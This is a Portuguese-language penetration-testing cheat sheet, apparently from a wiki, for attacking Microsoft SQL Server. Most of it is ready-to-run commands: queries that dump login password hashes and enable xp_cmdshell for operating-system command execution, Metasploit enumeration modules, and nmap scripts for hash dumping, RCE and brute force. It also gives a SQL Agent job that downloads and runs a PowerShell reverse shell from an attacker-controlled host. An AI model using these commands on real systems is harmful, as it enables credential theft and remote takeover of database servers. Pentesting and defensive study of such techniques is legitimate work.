Microsoft SQL Server
Conectando ao Banco de Dados
python3 -m mssqlcli.main -S <ip> -U <user> -P <pass>
Queries Essenciais
SELECT @@version
Versão do MSSQL
SELECT host_name()
Hostname do servidor
SELECT db_name()
Database atual
SELECT loginname FROM syslogins WHERE sysadmin = 1
Extraindo Logins de SQL
SELECT name FROM sys.databases
Exibindo todos os databases
USE <database>
Acessando um determinado database
SELECT * FROM sysusers
Exibindo todos os Sys Users
SELECT name, password_hash FROM master.sys.sql_logins
Extraindo hashes dos usuários
SELECT name, CONVERT(INT, ISNULL(value, value_in_use)) AS IsEnabled FROM sys.configurations WHERE name = 'xp_cmdshell'
Verificando se xp_cmdshell
está habilitado
EXEC sp_configure 'show advanced options', 1 ; RECONFIGURE ; exec SP_CONFIGURE 'xp_cmdshell', 1 ; RECONFIGURE
Habilitando o xp_cmdshell
EXEC xp_cmdshell "<command>"
Executando comando no sistema operacional
SELECT servicename, service_account FROM sys.dm_server_services
Nome e Conta de Serviço
SELECT name AS database_name, SUSER_NAME(owner_sid) AS database_owner, is_trustworthy_on AS trustworthy FROM sys.databases
Pegando nome de usuários e seus respectivos databases
Executando Query
sqlcmd
Conectando-se no host MSSQL
sqlcmd -S <ip> -U <user> -P '<pass>'
Após conectar-se no host, é possível executar comandos SQL, porém ao digitar e query pressionar Enter
, é preciso digitar go
para determinar que o comando deve ser executado (semelhante ao ponto e vírgula). Por exemplo, para verificarmos a versão do MSSQL, utilizaríamos os seguintes comandos:
select @@version
go
Powershell
Invoke-Sqlcmd -Query '<query>' -Username <user> -Password <pass>
Invoke-Sqlcmd -Inputfile <file.sql> -Username <user> -Password <pass>
Metasploit
msfconsole -q
use auxiliary/admin/mssql/mssql_sql
set password <pass>
set username <user>
set rhosts <ip>
exploit
Enumeração
Metasploit
Enumeração do MSSQL
msfconsole -q
use auxiliary/admin/mssql/mssql_enum
set rhost <ip>
set username <user>
set password <pass>
exploit
Enumeração de contas de usuário do Domínio através do MSSQL
sudo msfconsole -q
use auxiliary/admin/mssql/mssql_enum_domain_accounts
set rhost <ip>
exploit
nmap
Informações sobre o MSSQL
nmap -p 1433 --script ms-sql-info <ip>
Informações do MSSQL com NTLM
nmap -p 1433 --script ms-sql-ntlm-info --script-args mssql.instance-port=1433 <ip>
Senha em Branco
nmap -p 1433 --script ms-sql-empty-password <ip>
Extraindo Hashes
nmap -p 1433 --script ms-sql-dump-hashes --script-args mssql.username=<user>,mssql.password=<password> <ip>
Listando Todos os Sys Users
nmap --script ms-sql-query --script-args mssql.username=<user>,mssql.password=<password>,ms-sql-query.query="SELECT * FROM master..syslogins" -p 1433 <ip>
RCE
nmap --script ms-sql-xp-cmdshell --script-args mssql.username=<user>,mssql.password=<password>,ms-sql-xp-cmdshell.cmd="<command>" -p 1433 <ip>>
Acesso Direto ao SQL Server
Caso alguma conta de usuário com o serviço "SQL Server Agent (MSSQLSERVER)", utilize a query abaixo para ganhar permissões.
USE msdb;EXEC msdb.dbo.sp_delete_job @job_name = N'PowershellExec';EXEC dbo.sp_add_job @job_name = N'PowershellExec';EXEC sp_add_jobstep @job_name = N'PowershellExec', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell -noexit -c "iex (iwr -UseBasicParsing http://<ip>/<reverse_shell.ps1>)"', @retry_attempts = 1, @retry_interval = 5;EXEC dbo.sp_add_jobserver @job_name = N'PowershellExec';EXEC dbo.sp_start_job N'PowershellExec'
Brute Force
nmap (Remoto)
nmap -p 1433 --script ms-sql-brute --script-args userdb=<wordlist.txt>,passwd=<wordlist> <ip>
Sites
https://learn.microsoft.com/en-us/sql/tools/sqlcmd-utility?view=sql-server-ver15
Last updated
Was this helpful?